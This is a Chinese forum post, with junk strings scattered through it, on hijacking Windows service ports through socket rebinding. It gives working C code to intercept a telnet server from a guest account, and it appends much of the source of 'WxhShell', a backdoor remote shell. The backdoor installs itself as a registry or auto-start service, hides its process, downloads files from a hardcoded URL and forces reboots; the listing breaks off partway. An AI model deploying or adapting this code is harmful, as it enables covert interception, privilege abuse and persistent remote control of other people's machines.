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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4}4K6y<q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ep<O?7@j-G  
vp4l g1/  
  saddr.sin_family = AF_INET; mihR *8p  
jmDQKqEc|l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c']3N  
:z^VI M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >AbgJ*X.  
2itJD1;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S#kA$yO  
:$>Co\D  
  这意味着什么?意味着可以进行如下的攻击: 7V^\fh5~  
/4]<ro67E6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q13bV  
H\zV/1~Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AB!P(  
[SFX;v!9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .ykCmznf*  
7_HJ|QB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O0"u-UX{  
}67lL~L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *0K@^Db-  
qqmhh_[T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u9TiEEof3  
;^Q - 1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !rK,_wH  
0gR!W3dh  
  #include zdL"PF  
  #include s/;iZiWK  
  #include 1ZUmMa1(  
  #include    9^DXw!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tAI<[M@  
  int main() TqvgCk-  
  { Ewfzjc  
  WORD wVersionRequested; z'FpP  
  DWORD ret; ?89K [D|  
  WSADATA wsaData; yX-h|Cr"  
  BOOL val; %\ifnIQ  
  SOCKADDR_IN saddr; u%o2BLx  
  SOCKADDR_IN scaddr; &jg..R  
  int err; ;tBc&LJ?  
  SOCKET s; a2'si}'3  
  SOCKET sc; -f{NVX\<0  
  int caddsize; I;Sg 9`k=  
  HANDLE mt; ai3wSUYJi  
  DWORD tid;   q ,C)AZ  
  wVersionRequested = MAKEWORD( 2, 2 ); L.cGt"{  
  err = WSAStartup( wVersionRequested, &wsaData ); CDNh9`  
  if ( err != 0 ) { o 0-3[W'x<  
  printf("error!WSAStartup failed!\n"); .4t-5,7s%  
  return -1; T6P9Icv?@7  
  } F$|Ec9  
  saddr.sin_family = AF_INET; H{XD>q.  
   e=8z,.Xk  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j06Xz\c  
&!adW@y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nVO|*Bnf)  
  saddr.sin_port = htons(23); c`F~vrr)X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #dd-rooQuD  
  { AUan^Om  
  printf("error!socket failed!\n"); UP8=V>T02  
  return -1; !6yyX}%o  
  } 5ree3 quh  
  val = TRUE; cNd;qO0$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >z,SN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0c pI2  
  { .5t|FJ]`$  
  printf("error!setsockopt failed!\n"); W@T_-pTCjK  
  return -1; ? >\JX  
  } f19~B[a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #VLO6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]Uy cT3A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jOE~?{8m  
+1R qo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) " iKX-VIl  
  { -9L [eYn  
  ret=GetLastError(); x c[BQ|P=  
  printf("error!bind failed!\n"); MgP6ki1z  
  return -1; #Fl5]> |  
  } UImd* ;2TE  
  listen(s,2); =$^<@-;  
  while(1) Py3Y*YP  
  { y{`aM(&  
  caddsize = sizeof(scaddr); ~I_v {  
  //接受连接请求 uqN:I)>[P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1\~-No  
  if(sc!=INVALID_SOCKET) 4raKhN"  
  { fFBD5q(n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C8J3^ ?7E  
  if(mt==NULL) (t{m(;/  
  { L'*P;z7<  
  printf("Thread Creat Failed!\n"); =,UuQJ,l  
  break; p{sbf;-x}  
  } i;yr=S,a0/  
  } p-6(>,+E[  
  CloseHandle(mt); HLP nbI-+  
  } `!K!+`Z9  
  closesocket(s); 6*cY[R|q!  
  WSACleanup(); AIx,c1G]K  
  return 0; XHN`f#(w  
  }   +Yuy%VT  
  DWORD WINAPI ClientThread(LPVOID lpParam) N~w4|q!]  
  { +Y:L4`  
  SOCKET ss = (SOCKET)lpParam; wl*"Vagb  
  SOCKET sc; g.cD3N  
  unsigned char buf[4096]; R m{\ R  
  SOCKADDR_IN saddr; .hD 2g"  
  long num; pxF<L\L?:  
  DWORD val; e>Z F? (a0  
  DWORD ret; LEUD6 M+~t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xyoh B#'W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Hko(@z  
  saddr.sin_family = AF_INET; .Fz5K&E=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4/Vy@h"A3  
  saddr.sin_port = htons(23); 4s Vr]p`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) " -Ie  
  { PR&D67:Jy  
  printf("error!socket failed!\n"); l<](8oc. w  
  return -1; R/yOy ^<  
  } CQq'x +{F  
  val = 100; Tz=YSQy$9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4-?'gN_  
  { A5lP%&tu(  
  ret = GetLastError(); xTnd9'Pk`:  
  return -1; pY3N7&m\:  
  } Ozygr?*X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %7_c|G1  
  { #$vef  
  ret = GetLastError(); xELnik_L2  
  return -1; .CrrjS w  
  } ~)S Q{eK?&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xr2ew%&o  
  { DIk\=[{2q  
  printf("error!socket connect failed!\n"); a?+Ni|+  
  closesocket(sc); [7gyF}*;  
  closesocket(ss); ,tEvz  
  return -1; CIM 9~:\  
  } "CEy r0h  
  while(1) S=Ihg  
  { mErXdb|L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x 5u.D^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oCLs"L-r{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?kICYtY:_b  
  num = recv(ss,buf,4096,0); 1MtvnPY  
  if(num>0) 5G~;g  
  send(sc,buf,num,0); *&j)"hX  
  else if(num==0) CfMq?.4%E}  
  break; !b O8apn  
  num = recv(sc,buf,4096,0); tQ7DdVdix  
  if(num>0) lu^ c^p;  
  send(ss,buf,num,0); VV(>e@Bc4  
  else if(num==0) n6gYZd  
  break; r9Ux=W\  
  } IJ^KYho  
  closesocket(ss); p}KZ#"Q  
  closesocket(sc); w;.'>ORC  
  return 0 ; Ejdw"P"  
  } '676\2.  
/EUv=89{!  
,jBd3GdlZ  
========================================================== 5/Ng!bW  
BoB2q(  
下边附上一个代码,,WXhSHELL %$j)?e  
47_4`rzy;  
========================================================== i0uBb%GMT  
Vw*;xek?  
#include "stdafx.h"  M/5e4b  
UA[2R1}d  
#include <stdio.h> <^,w,A  
#include <string.h> j380=? 7  
#include <windows.h> 9?r|Y@xh]  
#include <winsock2.h> bz_Zk  
#include <winsvc.h> buo_H@@p{s  
#include <urlmon.h> nnmn@t(%r  
65VnH=  
#pragma comment (lib, "Ws2_32.lib") &0Zn21q  
#pragma comment (lib, "urlmon.lib") L0SeG:  
@oC8:  
#define MAX_USER   100 // 最大客户端连接数 PY: l  
#define BUF_SOCK   200 // sock buffer KO(+%>^R  
#define KEY_BUFF   255 // 输入 buffer XM3N>OR.  
@.fuR#  
#define REBOOT     0   // 重启 e*uaxh+7  
#define SHUTDOWN   1   // 关机 OiX>^_iDt  
2q J}5  
#define DEF_PORT   5000 // 监听端口 m~~_iz_*  
`rC9i5:  
#define REG_LEN     16   // 注册表键长度 1oaiA/bq  
#define SVC_LEN     80   // NT服务名长度 .-+_>br~  
v?rjQ'OP  
// 从dll定义API gZgb-$b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a +Q9kh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0U]wEz*b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #NVtZs!V/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U9IP`)z_5t  
;]?1i4p)  
// wxhshell配置信息 693J?Yah[  
struct WSCFG { I#Ay)+D  
  int ws_port;         // 监听端口 B:5( sK  
  char ws_passstr[REG_LEN]; // 口令 w!)B\l^+c  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6\)61o_1|  
  char ws_regname[REG_LEN]; // 注册表键名 *52*IRH  
  char ws_svcname[REG_LEN]; // 服务名 vpx8GiV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DF'-dh</*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xBd#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +ex@[grsGT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oju7<b9Ez  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i$)bZr\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _*6nTSL  
ivC1=+  
}; elb|=J`M0  
"aK3 ylz;  
// default Wxhshell configuration CQ2{5  
struct WSCFG wscfg={DEF_PORT, /j./  
    "xuhuanlingzhe", oC>e'_6_b  
    1, g5R2a7  
    "Wxhshell", 4x.'H18  
    "Wxhshell",  @jO3+  
            "WxhShell Service", d/Xbk%`p  
    "Wrsky Windows CmdShell Service", cBM A.'uIL  
    "Please Input Your Password: ", ,xB&{ J  
  1, mJRvC%  
  "http://www.wrsky.com/wxhshell.exe", |r1\  
  "Wxhshell.exe" lz@fXaZM  
    }; B:)9hF?o@  
)6iY9[@tN  
// 消息定义模块 {S(?E_id5b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5b3Wt7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VdQ}G!d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oL>m}T  
char *msg_ws_ext="\n\rExit."; 4m$nVv  
char *msg_ws_end="\n\rQuit."; "DM $FRI0  
char *msg_ws_boot="\n\rReboot..."; Kvv&# eO\  
char *msg_ws_poff="\n\rShutdown..."; XP *pYN  
char *msg_ws_down="\n\rSave to "; e~=fo#*2?@  
`o yz"07m  
char *msg_ws_err="\n\rErr!"; X{\>TOk   
char *msg_ws_ok="\n\rOK!"; 6c>t|=Ss(  
AZz }  
char ExeFile[MAX_PATH]; E{sTxO I$  
int nUser = 0; _H>ABo  
HANDLE handles[MAX_USER]; B;Ab`UX#t  
int OsIsNt; KB <n-'  
LF* 7;a  
SERVICE_STATUS       serviceStatus; e@*Gnh<&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &e@2zfl7  
VS@o_fUx)  
// 函数声明 kX."|]  
int Install(void); Lw\ANku  
int Uninstall(void); "12.Bi.O"[  
int DownloadFile(char *sURL, SOCKET wsh); @4Z>;  
int Boot(int flag); $Ll]h</Z  
void HideProc(void); e5maZ(.;F  
int GetOsVer(void); n c:^)G  
int Wxhshell(SOCKET wsl); &N GYV  
void TalkWithClient(void *cs); RN238]K  
int CmdShell(SOCKET sock); &^FCp'J-  
int StartFromService(void); iq-n(Rfw~  
int StartWxhshell(LPSTR lpCmdLine); %ribxgmd  
, fFB.q"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hc2[,Hju{O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T5.1qrL  
GiJ|5"  
// 数据结构和表定义 / *xP`'T  
SERVICE_TABLE_ENTRY DispatchTable[] = JVf8KHDj  
{ `DIIJ<;g  
{wscfg.ws_svcname, NTServiceMain}, ^-c j=on=Q  
{NULL, NULL} hNmC(saMGm  
}; #P=rP=  
&}@U#w]l  
// 自我安装 R<{bb'  
int Install(void) G$ XvxJ  
{ ~V[pu  
  char svExeFile[MAX_PATH]; %sP C3L  
  HKEY key; zg+78  
  strcpy(svExeFile,ExeFile); N[d*_KN.!  
[ \ LA  
// 如果是win9x系统,修改注册表设为自启动 EWNh:<F?  
if(!OsIsNt) { zm) ]cq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { db$Th=s[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zvYkWaa_Qz  
  RegCloseKey(key); xu(5U`K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L0ig%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E ;65kZ  
  RegCloseKey(key); y[Zl,v7  
  return 0; S-WD?BF C  
    } =i  }  
  } Ac'[(  
} f305yo  
else { I]bqle0M  
evNo(U\C  
// 如果是NT以上系统,安装为系统服务 3Ba>a(E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v+f:VA  
if (schSCManager!=0) a'U7 t  
{ I-oI,c%+  
  SC_HANDLE schService = CreateService `}#(Ze*V:  
  ( uQazUFw  
  schSCManager, (f^WC,  
  wscfg.ws_svcname, 2s>dlz  
  wscfg.ws_svcdisp, f9u^/QVS&  
  SERVICE_ALL_ACCESS, -v .\CtpHv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V.#,dDC@j  
  SERVICE_AUTO_START, Ls)y.u  
  SERVICE_ERROR_NORMAL, (g xCP3  
  svExeFile, I1yZ7QY  
  NULL,  }tv%  
  NULL, *gfx'$  
  NULL, zQM3n =y  
  NULL, ce th)Xm  
  NULL G[n^SEY!  
  ); X> :@`}bq  
  if (schService!=0) #XR<}OYcL  
  { GY,l&.&  
  CloseServiceHandle(schService); ]J+ }WR  
  CloseServiceHandle(schSCManager); YMOy 6C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #-dfG.*  
  strcat(svExeFile,wscfg.ws_svcname); JUXIE y^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pXf@Y}mH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P1)f-:;  
  RegCloseKey(key); W#87T_7T[  
  return 0; U.is:&]E  
    } y}*rRm.:  
  } 2.CjjI  
  CloseServiceHandle(schSCManager); Ex9%i9H  
} ?F]Yebp^  
} /=I&-g xC  
\GS]jhEtn  
return 1; (G $nN*rlu  
} aKXaor@0f.  
Nq6~6Rr  
// 自我卸载 A]" $O&l  
int Uninstall(void) l{F^"_U  
{ WV}<6r$e  
  HKEY key; RpPbjz~  
.| CcUmx  
if(!OsIsNt) { BTjfzfO"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8"/5Lh(  
  RegDeleteValue(key,wscfg.ws_regname); }ozlED`E  
  RegCloseKey(key); ;> **+ezF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  /B)ZB})z  
  RegDeleteValue(key,wscfg.ws_regname); H6(kxpOI\  
  RegCloseKey(key); oV utHt  
  return 0; gXN#<g,:^  
  } ]Aap4+s  
} E;$)Oz  
} wU,{ 5w  
else { 7_C;-  
qYv/" 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *5Upb,* *  
if (schSCManager!=0) x'kwk  
{ N p9N#m?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >FED*C4  
  if (schService!=0) ?#?[6t  
  { ks|[`FH  
  if(DeleteService(schService)!=0) { BqC, -gC  
  CloseServiceHandle(schService); S6CM/  
  CloseServiceHandle(schSCManager); #TZf\0\!  
  return 0; 9XWHr/-_@  
  } )w];eF0c  
  CloseServiceHandle(schService); ''Fy]CwH(  
  } UH/)4Wg  
  CloseServiceHandle(schSCManager); b);Pw"_2  
} RaT(^b(  
} Au jvKQ(  
HL$}Gh]q  
return 1; hFl$u8KV  
} U]j4Izq  
BE. v+'c"  
// 从指定url下载文件 i0DYdUj  
int DownloadFile(char *sURL, SOCKET wsh) wjh[}rTV*  
{ Nw ;BhBt  
  HRESULT hr; EeGP E  
char seps[]= "/"; ModwJ w  
char *token; c#sPM!!  
char *file; z3+y|nx!  
char myURL[MAX_PATH]; AY4ZU CqI  
char myFILE[MAX_PATH]; Q!K@  
& V :q}Q  
strcpy(myURL,sURL); 1~:7W  
  token=strtok(myURL,seps); LX),oR  
  while(token!=NULL) XH4!|wz  
  { `&$"oW{HW  
    file=token; ppr95 Y]^  
  token=strtok(NULL,seps); 2KVMQH`B9  
  } L4`bGZl55  
(pM5B8U  
GetCurrentDirectory(MAX_PATH,myFILE); S|!)_RL  
strcat(myFILE, "\\"); a@`15O:  
strcat(myFILE, file); f`'?2  
  send(wsh,myFILE,strlen(myFILE),0); `:cnu;  
send(wsh,"...",3,0); DpjiE/*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }[ LME Z  
  if(hr==S_OK) tWR>I$O8F  
return 0; >Ia{ZbQV  
else H~%HTl  
return 1; &ywAzGV{s  
Nq'Cuwsp  
} nIdB,  
i? 5jl&30  
// 系统电源模块 xCwd*lsM  
int Boot(int flag) +c4]}9f!  
{ N*z_rZE  
  HANDLE hToken; ']1\nJP[=X  
  TOKEN_PRIVILEGES tkp; q[p+OpA  
yf`Nh  
  if(OsIsNt) { 0[ MQp"z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ({ 'I;]AQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {3=M-U~r  
    tkp.PrivilegeCount = 1; !4-B xeNY\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3wZA,Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HqNM31)  
if(flag==REBOOT) { g a|RW0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3YT>3f!\  
  return 0; 'o=`1I  
} ;u`zZb=,[  
else { S^nshQI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4_qd5K+n"  
  return 0; ; (I(TG  
} Ut:>'TwG  
  } lc1?Vd$  
  else { l/9V59Fv9  
if(flag==REBOOT) { *olV Y/'O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gyi<ot;  
  return 0; ;=\vm"I?  
} LWgYGXWT"  
else { mU.(aL HW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \| qr&(PG  
  return 0; \49LgN@\  
} R3+y*< <e  
} 2q V.`d  
',GWH:B  
return 1; Z)E[Bv=  
} 6 ,jp-`  
u,AZMjlF  
// win9x进程隐藏模块 oE:9}]N_  
void HideProc(void) bOR1V\Jr$q  
{ I3Gz,y+  
mlC_E)Ed5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IG@.WsM_  
  if ( hKernel != NULL ) (iM*Y"Y  
  { 1haH2F^ q3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XBQ]A89G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,iKEIxA!  
    FreeLibrary(hKernel); *m2{6N_  
  } 7"}<J7"})  
+~~FfIzf#  
return; ;/gH6Z?  
} iW.4'9   
!Ld0c4  
// 获取操作系统版本 JU^ {!u  
int GetOsVer(void) Vk%[N>  
{ <vS J< WY  
  OSVERSIONINFO winfo; b+/XVEsr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -I."= c%  
  GetVersionEx(&winfo); +$Q.N{LV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,<iJ#$: Sx  
  return 1; !YD~o/t@|  
  else &"!s+_  
  return 0; =TImx.D:  
} cQkH4>C~  
9WN 4eC$  
// 客户端句柄模块 p.{9OrH(4  
int Wxhshell(SOCKET wsl) r&F(VF0 6  
{ W 2/`O?  
  SOCKET wsh; y bWb'+x  
  struct sockaddr_in client; Vgy}0pCl  
  DWORD myID; E-Z6qZ^  
D)C^'/8q  
  while(nUser<MAX_USER) &8VB{S>r  
{ b[+G+V   
  int nSize=sizeof(client); _@U?;73"5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]Tmx;[D  
  if(wsh==INVALID_SOCKET) return 1; jSMvZJX3n  
y&8' V\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rou$`<{H  
if(handles[nUser]==0) piq1cV  
  closesocket(wsh); a/ d'(]  
else kMD:~ V  
  nUser++; Q'?{_  
  } s$g"6;_\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5I#L|+  
?^TjG)e7  
  return 0; 7WZ).,qxY  
} Y=RdxCCx4  
J:s^F n  
// 关闭 socket 43cdWd%  
void CloseIt(SOCKET wsh) cYBv}ylw}R  
{ SQ*dC  
closesocket(wsh); AhjK*nJF  
nUser--; 7.hgne'<  
ExitThread(0); /?<tjK' "H  
} JNY;;9o  
lPcp 17U  
// 客户端请求句柄 [x}]sT`#a  
void TalkWithClient(void *cs) 34Q;& z\e  
{ c\2+f7o@  
jKFypIZ4  
  SOCKET wsh=(SOCKET)cs; r!/=Iy@  
  char pwd[SVC_LEN]; py9zDWk~  
  char cmd[KEY_BUFF]; R@lmX%Z1  
char chr[1]; 4 VtI8f!  
int i,j; 4-P'e%S  
Mm7l!  
  while (nUser < MAX_USER) { S *3N6*-l"  
dz^l6<a"n  
if(wscfg.ws_passstr) { 1pe eecE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DPENYr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F8e]sa$K\  
  //ZeroMemory(pwd,KEY_BUFF); XXbA n-J  
      i=0; \0 &7^  
  while(i<SVC_LEN) { :',.I  
\@yx;}bdI  
  // 设置超时 2-G he3  
  fd_set FdRead;  _N`:NOM  
  struct timeval TimeOut; :Ny.OA  
  FD_ZERO(&FdRead); *5( h,s3&  
  FD_SET(wsh,&FdRead); /mMRV:pd  
  TimeOut.tv_sec=8; N[$bP)h7  
  TimeOut.tv_usec=0; . J"g.Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9 *>@s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *E"QFirk0  
;; z4EGr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r>fx5 5dw  
  pwd=chr[0]; ]y*AA58;  
  if(chr[0]==0xd || chr[0]==0xa) { MB$K ?"Y  
  pwd=0; sGx"j a +  
  break; xyGk\= S  
  } 6nxX~k  
  i++; F,2)Udim  
    } C'bW3la  
YGp8./ma<I  
  // 如果是非法用户,关闭 socket Uloa]X=Im8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); //C3tW  
} !Pnvqgp/  
$[zy|Y(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bzFwQi}>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O*MC"%T  
}UwDHq=  
while(1) { @4h{#  
_M n7zt1^  
  ZeroMemory(cmd,KEY_BUFF); U=_O*n?N-d  
rUC@Bf  
      // 自动支持客户端 telnet标准   FI @!7@  
  j=0; @^47Qgj8 U  
  while(j<KEY_BUFF) { v-`RX;8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ eQIwz  
  cmd[j]=chr[0]; Gc=#  
  if(chr[0]==0xa || chr[0]==0xd) { Ktrqrl^IJ  
  cmd[j]=0; ]MjQr0&M  
  break; ]IQTf5n  
  } B%HG7  
  j++; xA|72!zk0P  
    } Fl,(KST z  
c}9.Or`?  
  // 下载文件 YGVj$\  
  if(strstr(cmd,"http://")) { ?`PG`|2~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 96fzSZS,  
  if(DownloadFile(cmd,wsh)) LfD7 0r\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YEGRM$'`  
  else 9I0}:J;7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m'h`%0Tc  
  } JGH;&UYP  
  else { qsnZ?hXPp  
-h&AO\*^W  
    switch(cmd[0]) { B%95M|  
  >"qnuv G  
  // 帮助 \$o5$/oU(  
  case '?': { c]]OV7;)>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =n_r\z  
    break; VUF^ r7e  
  } PqFK*^)s  
  // 安装 }:UNL^e?  
  case 'i': { D$|@: mW  
    if(Install()) <Wgp$qt;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O)g\/uRy  
    else D/1{v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2y6 e]D  
    break; octBt`\Of  
    } Ba$&4?8  
  // 卸载 ^O_E T$  
  case 'r': { feOX]g#  
    if(Uninstall()) qx3@]9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $[5S M>e]  
    else &)?ECj0`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =aM(r6 C  
    break; ~>:uMXyV2t  
    }  QKW;r  
  // 显示 wxhshell 所在路径 qV^Z@N+,  
  case 'p': { ,Y|WSKY*  
    char svExeFile[MAX_PATH]; w'NL\>  
    strcpy(svExeFile,"\n\r"); Opc, {,z6  
      strcat(svExeFile,ExeFile); .t\#>Fe  
        send(wsh,svExeFile,strlen(svExeFile),0); }Gmwm|`*  
    break; |E/r64T  
    } `w@8i[2J  
  // 重启 L;d(|7BVv  
  case 'b': { 5;{Q >n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p^u;]~J O  
    if(Boot(REBOOT)) &rY73qfP'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'C iV=&3/  
    else { .W[ 9G\  
    closesocket(wsh); hV,)u3  
    ExitThread(0); ~(Wq 5<v  
    } /"w%?Ea  
    break; CmyCne   
    } eEvE3=,hg  
  // 关机 V/C":!;  
  case 'd': { E1)7gio  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xY] Y  
    if(Boot(SHUTDOWN)) J&mZsa)4  
